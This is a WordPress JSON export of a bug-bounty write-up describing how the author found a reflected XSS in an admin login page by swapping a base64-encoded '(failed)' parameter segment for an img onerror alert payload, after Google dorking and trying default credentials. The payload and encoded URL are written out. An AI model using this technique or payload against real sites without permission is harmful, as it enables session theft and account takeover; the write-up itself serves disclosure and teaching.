{"id":164,"date":"2022-08-15T00:06:26","date_gmt":"2022-08-14T22:06:26","guid":{"rendered":"https:\/\/bergee.it\/blog\/?p=164"},"modified":"2026-04-27T22:18:26","modified_gmt":"2026-04-27T20:18:26","slug":"five-minute-hunting-for-hidden-xss","status":"publish","type":"post","link":"https:\/\/bergee.it\/blog\/five-minute-hunting-for-hidden-xss\/","title":{"rendered":"Five-minute hunting for hidden XSS"},"content":{"rendered":"

One night I was about to go to sleep, however, set the goal of finding the bug within a max of 15 minutes. I did some google dorking like this:<\/p>\n

site:*.target.com ext:php<\/p><\/blockquote>\n

I found the site with an admin panel on it. I tried to log in with some common credentials combinations such as admin\/admin, admin\/test, test\/test, etc., but nothing worked. I\u00a0 got the message: “Inloggen \/ Log In ((failed))”. I was about to give up here as I don’t like to brute force the credentials, as I saw GET parameter named e which was BASE64 encoded string. I decoded it and saw the following string:<\/p>\n

start.php?do=start|(failed)|b56dd8df284556c4440f747fe770680f7a011<\/p><\/blockquote>\n

Hmm, the same “(failed)” was visible after failed login. Now you may guess the rest :). What if I change this “(failed)” part of the string into XSS payload “<img src=x onerror=alert(document.domain)>”, so the string will be:<\/p>\n

start.php?do=start|<img src=x onerror=alert(document.domain)>|b56dd8df284556c4440f747fe770680f7a011<\/p><\/blockquote>\n

After encoding to base64 it would be:<\/p>\n

c3RhcnQucGhwP2RvPXN0YXJ0fDxpbWcgc3JjPXggb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPnxiNTZkZDhkZjI4NDU1NmM0NDQwZjc0N2ZlNzcwNjgwZjdhMDExZmFj<\/p><\/blockquote>\n

So the final URL was:<\/p>\n

https:\/\/redacted.com\/admin\/index.php?e=c3RhcnQucGhwP2RvPXN0YXJ0fDxpbWcgc3JjPXggb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPnxiNTZkZDhkZjI4NDU1NmM0NDQwZjc0N2ZlNzcwNjgwZjdhMDExZmFj<\/p><\/blockquote>\n

And guess what? It worked. I managed to get reflected XSS. Now I know, in this case, it was pretty easy escalable to account takeover, however I stopped on XSS back then.<\/p>\n

\"\"<\/p>\n

Reward: Hall Of Fame<\/p>\n

See you next bug \ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"

One night I was about to go to sleep, however, set the goal of finding the bug within a max of 15 minutes. I did some google dorking like this: site:*.target.com ext:php I found the site with an admin panel on it. I tried to log in with some common credentials combinations such as admin\/admin,…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,33,29],"tags":[],"class_list":["post-164","post","type-post","status-publish","format-standard","hentry","category-bez-kategorii","category-vdp","category-write-up"],"_links":{"self":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/164","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/comments?post=164"}],"version-history":[{"count":8,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/164\/revisions"}],"predecessor-version":[{"id":180,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/164\/revisions\/180"}],"wp:attachment":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/media?parent=164"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/categories?post=164"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/tags?post=164"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}